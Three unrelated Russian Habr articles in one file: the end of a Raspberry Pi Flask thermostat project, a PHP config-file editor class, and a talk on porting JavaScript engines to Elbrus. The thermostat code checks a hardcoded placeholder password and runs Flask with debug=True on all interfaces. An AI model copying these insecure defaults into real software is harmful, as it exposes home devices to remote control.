self.advance_start_time = datetime.now().strftime('%b %d, %Y %H:%M:%S')
return self.advance_start_time
if __name__ == '__main__':
hs = Heating()
while True:
print(f'''________________________________________________________________
{datetime.utcnow().time()}
Temp: {hs.check_temperature()}
Pressure: {hs.check_pressure()}
Humidity: {hs.check_humidity()}
________________________________________________________________
''')
time.sleep(2)
```
Я включил в код необходимые Flask проверки: метод `start_time()` создаёт передаваемую в html-шаблон переменную, чтобы таймер JavaScript отсчитывал время независимо от обновлений страницы и от того, используется ли другое устройство.
### API терморегулятора
Как можно заметить, в скрипте нет функции проверки самого температурного модуля. Я сделал так намеренно, потому что считаю удобным, когда Pi 3B работает с реле, а более портативный Pi Zero W через API получает данные от модуля датчика. Код этого API для Flask с методами BME280 выглядит так:
```
#!/usr/bin/env/python3
import time
import pigpio
from smbus2 import SMBus
from bme280 import BME280
from flask import Flask, jsonify, make_response
app = Flask(__name__)
pi = pigpio.pi()
bus = SMBus(1)
bme = BME280(i2c_dev=bus)
# throwaway readings:
for i in range(3):
bme.get_temperature()
bme.get_humidity()
bme.get_pressure()
@app.route('/')
def sensor_api():
response = make_response(jsonify({'temperature': bme.get_temperature(),
'humidity': bme.get_humidity(),
'pressure': bme.get_pressure()}))
response.status_code = 200
return response
```
*Единственная конечная точка возвращает ответ с текущими показаниями счётчика в формате JSON.*
Источник проблем пайки — новая сателлитная система API терморегулятора### Реверс-инжинеринг моей системы
Что мне больше всего нравится в *электронике*? Большинство компонентов имеют понятную маркировку и качественную документацию. Но когда дело касается *электричества*, всё намного запутаннее! Когда я снял крышку с распределительной коробки, что висела за сушильным шкафом, то обнаружил несколько проводов, подключённых к исполнительному механизму регулирующего клапана, который обслуживает два контура отопления: беспорядочный набор проводов, пропущенных через отверстие в стене, и четыре провода, идущих к каждому исполнительному механизму, то есть всего восемь проводов.
Я поискал и нашёл официальную документацию на клапаны исполнительного механизма и понял, что это за четыре провода и какой из них является «главным», сигнал которого прерывается реле в блоке программатора.
Из моего рассказа может сложиться впечатление, что всё у меня проходило гладко и без запинок. Но дело заняло довольно много времени — достаточно сказать, что *все* провода на выходе оставшейся части оказались коричневыми. Пытаясь понять, в каком направлении искать, я просмотрел огромное количество роликов на YouTube на тему «как подключить систему отопления в Великобритании».
Затем нужно было просто замкнуть реле на стене и разорвать с его помощью цепь внутри сушильного шкафа, одновременно подавая питание на оба привода. Я также решил добавить в шкаф розетку для подачи питания на Pi. Это позволило спрятать провода, которые моя жена ненавидит. Качество сигнала почти не пострадало, хотя кабель был проложен в шкафу. Это удивительно!
Прокладываю провода по-новому. Реле висит на стене, Pi в чёрной коробке.Контур от приводов к насосу был один, его можно было не трогать; два других вели к программаторам на стенах — сверху и снизу. Как уже говорилось, я замкнул одно реле и использовал этот контур для удлинителя розетки. Когда-нибудь я доработаю это решение, а пока пусть повисит так, тем более всё нормально.
### Интерфейс управления термостатом
Вначале я проектировал маршруты на фронтенде параллельно с тестированием системы. Несколько дней пришлось ждать посылку с температурным модулем, поэтому вначале получилась версия только с таймером.
Приложение Flask простое. Я написал маршруты и представления для путей `/`, `/on`, `/off`, `/advance` и `/settings`, элементарная аутентификация по простому коду на моём RPi уже работала, я решил оставить её. После кода вы увидите скриншоты интерфейсов.
```
#!/usr/bin/env python3
import time
from threading import Thread
from flask import Flask, redirect, url_for, render_template, request, session, jsonify, make_response
from .heating import Heating
app = Flask(__name__)
hs = Heating()
# Throwaway temp checks:
hs.check_temperature()
time.sleep(1)
hs.check_temperature()
@app.route('/heating')
def home():
if 'verified' in session:
start_time = hs.start_time() if hs.advance else None
return render_template('heating.html', on=hs.on, relay_on=hs.check_state(),
current_temp=int(hs.check_temperature()), desired_temp=int(hs.desired_temperature),
advance=hs.advance, time=start_time,
)
return redirect(url_for('login'))
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
if 'verified' in session:
return redirect(url_for('menu'))
return render_template('login.html')
else:
name = request.form.get('name')
if name == 'PASSWORD':
session['verified'] = True
return redirect(url_for('menu'))
else:
return render_template('login.html', message='You are not allowed to enter.')
@app.route('/menu')
def menu():
if 'verified' in session:
return render_template('menu.html')
return redirect(url_for('login'))
@app.route('/on')
def on():
if 'verified' in session:
hs.thermostat_thread()
return redirect(url_for('home'))
return redirect(url_for('login'))
@app.route('/off')
def off():
if 'verified' in session:
hs.stop_thread()
hs.advance = False
hs.advance_start_time = None
return redirect(url_for('home'))
return redirect(url_for('login'))
def advance_thread():
interrupt = False
if hs.tstat:
hs.tstat = False
interrupt = True
hs.switch_on_relay()
time.sleep(900)
hs.switch_off_relay()
hs.advance = False
hs.advance_start_time = None
hs.on = False
if interrupt:
hs.thermostat_thread()
@app.route('/advance')
def advance():
if 'verified' in session:
hs.on = True
hs.advance = True
t1 = Thread(target=advance_thread)
t1.daemon = True
t1.start()
return redirect(url_for('home'))
return redirect(url_for('login'))
@app.route('/settings', methods=['GET', 'POST'])
def settings():
if request.method == 'GET':
if 'verified' in session:
return render_template('settings.html', des_temp=hs.desired_temperature, timer_prog=hs.timer_program)
return render_template('login.html')
else:
interrupt = False
if hs.tstat:
hs.tstat = False
interrupt = True
des_temp = request.form.get('myRange')
on_1 = request.form.get('on_1')
off_1 = request.form.get('off_1')
on_2 = request.form.get('on_2')
off_2 = request.form.get('off_2')
new_timer_prog = {
'on_1': on_1,
'off_1': off_1,
'on_2': on_2,
'off_2': off_2
}
hs.desired_temperature = des_temp
hs.timer_program = new_timer_prog
if interrupt:
hs.thermostat_thread()
return redirect(url_for('home'))
@app.route('/temp', methods=['GET'])
def fetch_temp() -> int:
response = make_response(jsonify({"temp": int(hs.check_temperature()),
"on": hs.check_state()}), 200)
return response
@app.route('/radio')
def radio():
return render_template('radio.html')
@app.errorhandler(404)
def page_not_found(e):
return redirect(url_for('home'))
if __name__ == '__main__':
app.secret_key = 'SECRET KEY'
app.run(debug=True, host='0.0.0.0', port=5000)
```
Исключительно ради стиля я добавил представления и элементы интерфейса. Представление отвечает на асинхронный запрос функции JavaScript, который обновляет температуру на дисплее в реальном времени и при включении реле обозначает её красным цветом:
Железо крупным планомТемпературный модуль немного отличается от показанного выше модуля: нет двух дополнительных контактовВременные кабели я заменил на кабели-перемычки с цветовой маркировкойСобранную систему я убрал за телевизор. Позже выяснилось, что там слишком холодно[Код на GitHub](https://github.com/nihilok/SmartHomeApp)
Если работа с Python не оставляет вас равнодушными и хочется научиться писать на этом языке или поднять навыки владения им на новый уровень, вы можете обратить внимание на наш курс по [Fullstack-разработке](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=260721) на Python, а если есть желание чувствовать себя ближе к железу, то вы можете присмотреться к [нашему курсу по C++](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=260721). Также можно [узнать](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=260721) о том, как начать карьеру или прокачаться в других направлениях:
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=260721)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=260721)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=260721)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=260721)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=260721)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=260721)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=260721)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=260721)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=260721)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=260721)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=260721)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=260721)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=260721)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=260721)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=260721)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CDEV&utm_term=regular&utm_content=260721)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=260721)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=260721)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=260721)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=260721)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=260721) | https://habr.com/ru/post/569712/ | null | ru | null |
# Класс для редактирования конфигурационных файлов
 В любом веб проекте используются конфигурационные файлы. Чаще всего они редактируются на стадии разработки или переносе проекта а потом надолго остаются нетронутыми. Но бывает что конфиг разрастается и в нем появляются параметры которые приходится изменять чаще.
Задача довольно тривиальная, создать форму которая позволяет изменить значения некоторых параметров и занести изменения в существующий файл. Но когда часто сталкиваешься с однотипной задачей хочется найти какое-то более менее универсальное решение чтобы не писать каждый раз унылый велосипед.
К сожалению гугл не дал простого и функционального решения, не знаю может гугл на меня за что то зол:). Возможно есть какое-то решение но подходящей мне я не нашел. Прошу сильно не ругаться, если таковой всё-таки существует. Задумался, а какой бы функционал меня бы устроил.
Во первых это вывод на редактирование только тех параметров которые нужны, во вторых это чтобы некоторые параметры выводились как checkbox-ы, radio кнопки если это соответствует их логике ну и не мешало-бы чтобы параметры имели красивое название при выводе.
Если наглядно то чтобы из этого:
Можно было получить это:
При этом чтобы все было просто и надежно.
И так приступим. Конфигурационные файлы часто имеют вид файла php с определениями разных констант переменных и прочего. Такой формат сложно както уверено редактировать, гораздо проще и не менее распространённый формат, когда весь конфигурационный файл представляет из себя массив данных. Вот с этим можно что-то придумать. Работать будем с максимум двумерными массивами, для большей глубины не думаю, что решение будет уже универсальным. К тому же конфиг может содержать такие сложные данные, однако их редактирование будет невозможно.
Данные второго уровня выводятся в отдельном блоке fieldset который позволяет визуально разграничивать разные наборы параметров, также это блок можно сворачивать кликом мыши.
Для того чтобы не изменяя данные массива иметь возможность его как-то описать будем использовать обычные php комментарии. Комментарии которые будут на одной строке с значением будут описывать его и создавать определенное поведение при созданий формы. Во первых это вывод более содержательного названия для полей. Ищем регулярным выражением комментарии на той же строке что и определение поля.
```
// Parse atributes of values from config file
public function getAtributes() {
$conf_str = file_get_contents($this->file_name);
foreach ($this->data as $n => $cf) {
// First level of array
if (preg_match("#" . $n . "[^\r\n]*//([^\n\r]+)[\n\r]#", $conf_str, $m)) {
$this->atribute[$n] = trim($m[1]);
}
if (is_array($cf)) {
//second level
foreach ($cf as $ns => $vs) {
if (preg_match("#" . $n . ".*" . $ns . "[^\r\n]*=>[^\r\n]*//([^\n\r]+)[\n\r]#isU", $conf_str, $m)) {
$this->atribute[$n . "~" . $ns] = trim($m[1]);
}
}
}
}
}
```
сохраняем все полученные данные и будем выводить в форму только те что имеют описание.
Дальше не плохо было бы в этом описании иметь возможность вводить какие-то ключи, которые будут влиять на тип отображаемого элемента формы. Например задавать допустимые для текущего параметра значения, формат был выбран такой [options| знач1|…|значn].
Парсим полученные комментарии, опять же регуляркой чтобы выудить из них список значений. Решил не добавлять возможность указывать какой именно тип инпута должен быть выведен, все это логично исходит из предложенных значений. Если значений только 2 и они обе булевского типа то можно выводить checkbox, если значений больше, то выводим радиокнопки а если уж совсем много то рисуем select. Для полей которые не имеют каких-то опции выводим универсальный текстовый input.
```
// Parsing options from values atribute
public function parseAtribute($atribute) {
$flags = array();
$flags['title'] = $atribute;
//can't delete this value
if (strpos($atribute, "[static]") !== false) {
$flags['static'] = true;
} else {
$flags['static'] = false;
}
//can add values in this sub array
if (strpos($atribute, "[dinamic]") !== false) {
$flags['dinamic'] = true;
}
//toggled block by default
if (strpos($atribute, "[hidden]") !== false) {
$flags['hidden'] = true;
} else {
$flags['hidden'] = false;
}
//parsing options that can by values for curent input
//select type of input
if (strpos($atribute, "[options") !== false) {
preg_match("#\[options\|(.+)+\]#", $atribute, $options);
$options = explode("|", $options[1]);
if (sizeof($options) == 2) {
// if have 2 options and both its from boolean type
$checkbox = true;
foreach ($options as $od) {
if (!in_array($od, $this->booleanValues(), true)) {
$checkbox = false;
}
}
if ($checkbox) {
$flags['options']['type'] = "checkbox";
} else {
$flags['options']['type'] = "radio";
}
} elseif (sizeof($options) < $this->optForSelect) {
$flags['options']['type'] = "radio";
} else {
$flags['options']['type'] = "select";
}
$flags['options']['data'] = $options;
// parse labels for values and clear data
foreach ($options as $n => $v) {
if (preg_match("#(.*)\((.*)\)#", $v, $m)) {
$flags['options']['data'][$n] = trim($m[1]);
$flags['options']['labels'][$n] = $m[2];
}
}
} else {
$flags['options'] = false;
}
// clear title of input
$flags['title'] = trim(preg_replace("#\[[^\[\]]*\]#", "", $flags['title']));
return $flags;
}
```
В вариантах значений можно указывать красивые названия в обычных скобках чтобы при созданий списков или кнопок выводить их а не безжизненные, сухие цифры типа 0,1,2. К сожалению такой формат не дает возможности делать варианты значений содержащие символы скобок "(" и ")".
Пришлось много повозиться с обработкой checkbox- ов, от них передается значение либо «on» либо вообще пустое. Приходится сравнивать со списком собранных атрибутов и обрабатывать пустое значение как булевский ноль. Свойства класса trueValues и falseValues содержат значения, которые могут быть интерпретированы в двоичном смысле 0-1, true-false, yes-no.
```
//Convert values to 0 or 1
public function toBool( $val ){
if( in_array($val, $this->trueValues) )
return 1;
if( in_array($val, $this->falseValues) )
return 0;
return false;
}
```
Для того чтобы случайно не затереть данные или чтобы исключить влияние какихто багов при первом запуске класс создает копию конфига. И в любой момент можно вернуться к изначальной версии.
Ну а когда все данные из конфига выужены можно рисовать форму. Пришлось ввести в класс и вывод html верстки но зато все решение состоит из одного файла который полностью решает постовленую задачу. Jquery используемый для некоторых манипуляций элементами формы, подключается на лету если не был подключен до этого. Например filedset можно свернуть что позволяет легче ориентироваться на форме большого размера и найти нужный параметр.
Для удобства некоторые блоки параметров можно указать изначально свернутыми опцией [hidden].
Для данных второго уровня можно добавить возможность создавать дополнительные поля, имя поля будет сгенерировано автоматически, а вот значение можно ввести свое. Если для каких-то задач это потребуется, то добавьте ключ [dinamic] в определении родительского поля. Если все же некоторые поля внутри этого должны оставаться нетронутыми, то укажите для них ключ [static].
Возможно, кому-то пригодится данный класс. Старался сделать максимально простой для использования и достаточный чтобы быть полезным функционал. В конце концов для работы нужно просто написать:
```
php
include "../configer.php";
$cf = new Configer("settings.php");
$cf-showForm();
```
Ну и чтобы в вашем файле settings были какието комментарий с ключиками.
Скачать класс можно на <https://github.com/vencendor/Configer>.
Буду рад полезным замечаниям.
UPD: Рекомендации учтены, к сожалению на момент появления статьи на github.com не была актуальная версия класса. | https://habr.com/ru/post/315384/ | null | ru | null |
# Портирование JS на Эльбрус
Это рассказ про портирование JavaScript на отечественную платформу Эльбрус, выполненное ребятами из компании UniPro. В статье — краткий сравнительный анализ платформ, детали процесса и подводные камни.
В основе статьи — доклад Дмитрия ([dbezheckov](https://habr.com/ru/users/dbezheckov/)) Бежецкова и Владимира ([volodyabo](https://habr.com/ru/users/volodyabo/)) Ануфриенко с HolyJS 2018 Piter. Под катом вы найдете видео и текстовую расшифровку доклада.
Часть 1. Эльбрус, родом из России
---------------------------------
Сначала разберемся с тем, что такое Эльбрус. Вот несколько ключевых особенностей данной платформы в сравнении с x86.
### VLIW архитектура
Совершенно другое архитектурное решение, нежели суперскалярная архитектура, которая более распространена на рынке сейчас. VLIW позволяет более тонко выражать намерения в коде за счет явного управления всеми независимыми арифметико-логическими устройствами (АЛУ), которых у Эльбруса, к слову, 4. Это не исключает возможности простоя каких-то АЛУ, но все же увеличивает теоретическую производительность на один такт процессора.
### Объединение команд в бандлы
Готовые процессорные команды объединяются в бандлы (Bundles). Один bundle — это одна большая инструкция, которая выполняется за условный такт. В ней есть много атомарных инструкций, которые в архитектуре Эльбрус исполняются независимо и сразу.
На изображении справа серыми прямоугольниками обозначены бандлы, получившиеся при обработке JS-кода слева. Если с инструкциями ldd, fmuld, faddd, fsqrts все примерно понятно, то с инструкция return в самом начале первого бандла вызывает удивление у людей, не знакомых с ассемблером Эльбруса. Эта инструкция загружает адрес возврата из текущей функции floatMath в регистр ctpr3 заранее, чтобы процессор смог успеть подкачать нужные инструкции. Затем в последнем бандле мы уже совершаем переход по заранее загруженному адресу в ctpr3.
Также стоит отметить что у Эльбруса намного больше регистров 192 + 32 + 32 против 16 + 16 +8 у x86.
### Явная спекулятивность против неявной
Эльбрус поддерживает явную спекулятивность на уровне команд. Следовательно, мы можем сделать вызов и загрузку a.bar из памяти еще до проверки того, что она не является null, как это видно в коде справа. Если чтение логически в конце окажется невалидным, то значение в b просто будет помечено аппаратно как неправильное и обратиться к нему будет нельзя.
### Поддержка условного исполнения
Эльбрус также поддерживает условное исполнение. Рассмотрим это на следующем примере.
Как мы видим, код из предыдущего примера про спекулятивность сокращается еще и за счет использования свертки условного выражение в зависимость не по управлению, а по данным. Эльбрус аппаратно поддерживает предикатные регистры, в которых можно хранить только два значение true или false. Основная их фишка в том, что можно помечать инструкции таким предикатом и зависимости от его значения в момент исполнения инструкция исполнится или нет. В данном примере инструкция cmpeq выполняет сравнение и его логический результат помещает в предикат P1, который затем используется как маркер для загрузки в результат значения из b. Соответственно если предикат был равен true, то и в result осталось значение 0.
Данный подход позволяет трансформировать довольно сложный граф управления программы в предикатное исполнение и соответственно повышает наполненность бандла. Теперь мы можем генерировать больше независимых команд под разными предикатами и наполнять ими бандлы. Эльбрус поддерживает 32 предикатных регистра, что позволяет кодировать 65 потоков управления (плюс один на отсутствие предиката на команде).
### Три аппаратных стека по сравнению с одним в Intel
Два из них защищенные от модификации программистом. Один — chain-стек — отвечает за хранение адресов для возвратов из функций, другой — стек регистров — содержит параметры, через которые они передаются. В третьем — пользовательском стеке — хранятся переменные и данные пользователя. В intel все хранится в одном стеке, что порождает уязвимости, так как все адреса переходов, параметров находятся в одном незащищенном от модификаций пользователем месте.
### Нет динамического предсказателя переходов
Вместо него используется схема с if-конверсией и подготовками переходов, чтобы конвейер выполнения не останавливался.
### Так зачем нам JS на Эльбрусе?
1. Импортозамещение.
2. Вывод Эльбруса на рынок домашних компьютеров, где для того же браузера уже необходим Javascript.
3. В промышленности уже нужен Эльбрус, например с Node.js. Следовательно, нужно портировать Node под данную архитектуру.
4. Развитие архитектуры Эльбрус, а также специалистов в этой области.
### Если нет интерпретатора, приходят два компилятора
За основу была взята предыдущая реализация v8 от Гугл. Работает она так: из исходного кода создается абстрактное синтаксическое дерево, далее в зависимости от того, исполнялся ли код или нет, с помощью одного из двух компиляторов (Crankshaft или FullCodegen) создается, соответственно, оптимизированный или неоптимизированный бинарный код. При этом интерпретатора нет.
### Как работает FullCodegen?
Узлы синтаксического дерева переводятся в бинарный код, после чего все «склеивается» вместе. Один узел представляет собой около 300 строк кода на макроассемблере. Это, во-первых, дает широкий горизонт оптимизаций, а, во-вторых, отсутствуют переходы по байткодам, как в интерпретаторе. Это просто, но в то же время существует проблема — во время портирования придется переписать много кода на макроассемблере.
Тем не менее, все это было сделано, и получилась версия компилятора FullCodegen 1.0 для Эльбрус. Делалось все через C++ runtime v8, ничего не оптимизировали, ассемблерный код был просто переписан с x86 под архитектуру Эльбрус.
### Codegen 1.1
В итоге результат получился не совсем таким, как ожидали, и было решено выпустить версию FullCodegen 1.1:
* Сделали меньше runtime, писали на макроассемблере;
* Добавили ручные if-конверсии (на рисунке, в качестве примера, показана проверка переменной js на true или false);
Обратите внимание, что проверка на NaN, undefined, null делается за один раз, без использования if, которое бы потребовалось в Intel-архитектуре.
* Код не просто переписали с Intel, а реализовали спекулятивность в стабах и реализовали fast-path тоже через MAsm (макроассемблер).
Тесты проводились в Google Octane. Тестовые машины:
* Эльбрус: E2S 750 МГц, 24 ГБ
* Intel: core i7 3,4 ГГц, 16 ГБ
Далее результаты:
На гистограмме — соотношение результатов, т.е. во сколько раз Эльбрус хуже «Интела». На двух тестах Crypto и zlib результаты заметно хуже из-за того, что в Эльбрусе еще нет аппаратных инструкций для работы с шифрованием. В целом, учитывая разницу в частотах, получилось неплохо.
Далее тест в сравнении с интерпретатором js из firefox, входящего в стандартную поставку Эльбруса. Больше — лучше.
Вердикт — компилятор снова справился неплохо.
### Результаты разработки
* Новый JS-движок прошел test262 тесты. Это дает ему право называться полноценной средой исполнения ECMAScript 262.
* Производительность увеличилась в среднем в пять раз по сравнению с предыдущим движком — интерпретатором.
* Node.js 6.10 тоже портировали в качестве примера использования V8, благо это было не сложно.
* Тем не менее, все еще хуже, чем Core i7 на FullCodegen, в семь раз.
### Казалось, ничего не предвещало
Все было бы хорошо, но тут Google объявил, что больше не поддерживает FullCodegen и Crankshaft и они будут удалены. После чего команда получила заказ на разработку для браузера Firefox, и об этом — дальше.
Часть 2. Firefox и ее обезьяна-паук
-----------------------------------
Речь пойдет о движке браузера Firefox — SpiderMonkey. На рисунке отличия между этим движком и более новым V8.
Видно, что на первом этапе все похоже, исходный код парсится в абстрактное синтаксическое дерево, потом в байт-код, а далее начинаются отличия.
В SpiderMonkey байт-код интерпретируется C++ интерпретатором, который в сущности напоминает большой switch, внутри которого совершаются прыжки по байт-коду. Далее интерпретированный код попадает в неотимизирующий компилятор Baseline. Затем на финальной стадии в дело включается оптимизирующий компилятор Ion. В движке V8 байт-код обрабатывается интерпретатором Ingnition, а затем компилятором TurboFan.
### Baseline, выбираю тебя!
Портирование начали с компилятора Baseline. Он в сущности представляет собой стековую машину. То есть есть некий стек, из ячеек которого он берет переменные, запоминает их, производит с ними какие-то действия, после чего возвращает как переменные, так и результаты действий обратно в ячейки стека. Ниже на нескольких картинках пошагово отображен этот механизм в отношении простой функции foo:
### Что такое framе?
На изображениях выше вы можете видеть слово frame. Грубо говоря, это Javascript-контекст на железе, то есть набор данных в стеке, описывающий какую-либо вашу функцию. На изображении ниже функция foo, а справа от нее то, как она выглядит в стеке: аргументы, описание функции, адрес возврата, указание на предыдущий фрейм, ведь функция откуда-то была вызвана и чтобы корректно вернуться в место вызова эта информация должна хранится в стеке, а далее уже сами локальные переменные функции и операнды для вычислений.
Таким образом, **достоинства Baseline**:
* Похож на FullCodegen, следовательно, пригодился его опыт портирования;
* Портируем ассемблер, получаем рабочий компилятор;
* Удобно отлаживать;
* Любой стаб можно переписать.
Но есть и **минусы**:
* Линейный код, пока один байт код не выполнишь, не получится выполнить следующий, что не очень хорошо для архитектуры с параллельными вычислениями;
* Так как работает с байт-кодом, особо не оптимизируешь.
Оставалось только реализовать макроассемблер и получить готовый компилятор. Отладка тоже не предвещала особых проблем, достаточно было посмотреть стек на архитектуре x86, а потом на тот, что получался при портировании, чтобы найти проблему.
В итоге по тестам с новым компилятором производительность выросла в три раза:
Тем не менее, Octane не поддерживает работу с исключениями. А их реализация очень важна.
### Исключительная работа
Для начала разберемся, как работают исключения на x86. Пока выполняется программа, в стек записываются адреса возврата из функций. В какой-то момент происходит исключение. Переходим в runtime обработчик исключений, в котором используются фреймы, о которых мы говорили выше. Находим, где конкретно возникло исключение, после чего нам нужно отмотать стек до нужного состояния, а далее меняется адрес возврата на тот, где будет обработано исключение.
Проблема в том, что из-за другого устройства стека на архитектуре Эльбрус так сделать не получится. Потребуется по системным вызовам подсчитать, сколько нужно отмотать назад в Chain-стеке. Далее делаем системный вызов, чтобы получить стек вызовов. Далее в адресе в Chain-стеке делаем замену на адрес, делающий возврат.
Ниже иллюстрация об очередности данных шагов.
Не самый быстрый способ, тем не менее, исключение обрабатывается. Но все-таки на Intel это выглядит как-то попроще:
С Эльбрусом прыжков до самого обработчика будет больше:
Вот почему не стоит основывать логику программы на исключениях, тем более на Эльбрусе.
### Оптимизируй это!
Итак, обработка исключений реализована. Теперь расскажем, как мы сделали все это чуть более быстрым:
* Переписали инлайн кэши;
* Сделали ручную (а потом и автоматическую) расстановку задержек;
* Вынесли подготовки переходов (выше по коду): чем раньше подготавливается переход тем лучше;
* Поддержали инкрементальный сборщик мусора
На втором пункте остановимся чуть более подробно. Мы уже рассматривали небольшой пример работы с bundles, к нему и перейдем.
Любая операция, например, загрузки не делается в один такт, в данном случае она делается в три такта. Таким образом, если мы хотим перемножить два числа, пришли в операцию умножения, но сами операнды еще не загрузились, процессору остается только ждать их загрузки. И он будет ждать некоторое количество тактов, кратное четырем. Но если вручную выставить задержки, время ожидания можно сократить, тем самым повысив быстродействие. Далее процесс расстановки задержек был автоматизирован.
Итоги оптимизации BaseLine v1.0 vs Baseline v1.1. Несомненно, движок стал быстрее.
### Как же это программистам и не сделать Ion’ную пушку?
На волне успеха от реализации Baseline v1.1 было решено портировать и оптимизирующий компилятор Ion.
Как работает оптимизирующий компилятор? Исходный код интерпретируется, запускается компиляция. В процессе выполнения байт-кода Ion собирает данные о типах, использующихся в программе, происходит анализ «горячих функций» — тех, которые выполняются чаще других. После этого принимается решение скомпилировать их получше, оптимизировать. Далее строится высокоуровневое представление компилятора, граф операций. На графе происходит оптимизация (opt 1, opt 2, opt …), создается низкоуровневое представление, состоящее из машинных команд, резервируются регистры, генерируется непосредственно оптимизированный бинарный код.
На Эльбрусе регистров больше и сами команды большие, поэтому нужны:
* Планировщик команд;
* Свой регистр аллокатор;
* Свой LIR (Low-level Intermediate Representation);
* Свой Code-generator.
У команды уже имелся опыт портирования Java на Эльбрус, эту же библиотеку для генерации кода решили использовать и для портирования Ion. Она называется TANGO. В ней есть:
* Планировщик команд;
* Свой регистр аллокатор;
* Низкоуровневые оптимизации.
Осталось привнести высокоуровневое представление в TANGO, сделать селектор. Проблема в том, что низкоуровневое представление в TANGO похоже на ассемблер, который сложен в поддержке и отладке. Как должен выглядеть компилятор внутри? В Mozilla для большей понятности сделали свой компилятор HolyJit, также есть еще вариант написать свой мини-язык для перевода между высокоуровневым и низкоуровневым представлением.
Разработка еще ведется. Ну а далее о том, как не перестараться с оптимизацией.
Часть 3. Лучшее — враг хорошего
-------------------------------
### Компиляция, как она есть
Процесс оптимизации в Ion, когда код нагревается, а потом компилируется и оптимизируется — жадный, это можно увидеть на следующем примере.
```
function foo(a, b) {
return a + b;
}
function doSomeStuff(obj) {
for (let i = 0; i < 1100; ++i) {
print(foo(obj,obj));
}
}
doSomeStuff("HollyJS");
doSomeStuff({n:10});
```
При запуске в JS Shell с отключенной многопоточностью (для чистоты эксперимента), который поставляется с Mozilla, видим следующую ситуацию:
Функция исполняется. Мы видим, что счетчик количества исполнений большой, но в какой-то момент появляется сообщение о bailout (катапультировании). Это означает, что произошла деоптимизация. В данном случае в функцию foo сначала передаются объекты типа object, но после прогона функции в цикле со строками в качестве аргументов, компилятор решает так оптимизировать код, как будто данная функция работает только со строками. Если декомпилировать оптимизированный код, получится следующее:
```
function doSomeStuff(obj) {
for (let i=0; i < 1100; ++i) {
if (!(obj instanceof String))
// bailout
print(foo_only_str(obj, obj));
}
}
```
Как только в функцию будет передан первый аргумент не строка, оптимизированный код будет выброшен и мы снова перейдем на неоптимизированную версию кода.
На изображении мы видим пример низкоуровневой работы компилятора. Серым отмечены команды, которые были им оптимизированы при создании новой версии кода, например при DCE.
Пониженная передача
-------------------
При катапультировании мы переходим в менее оптимизированный код, который ожидает, что на стеке будут все нужные ему объекты, как будто все это время исполнялась именно неоптимизированная версия кода.
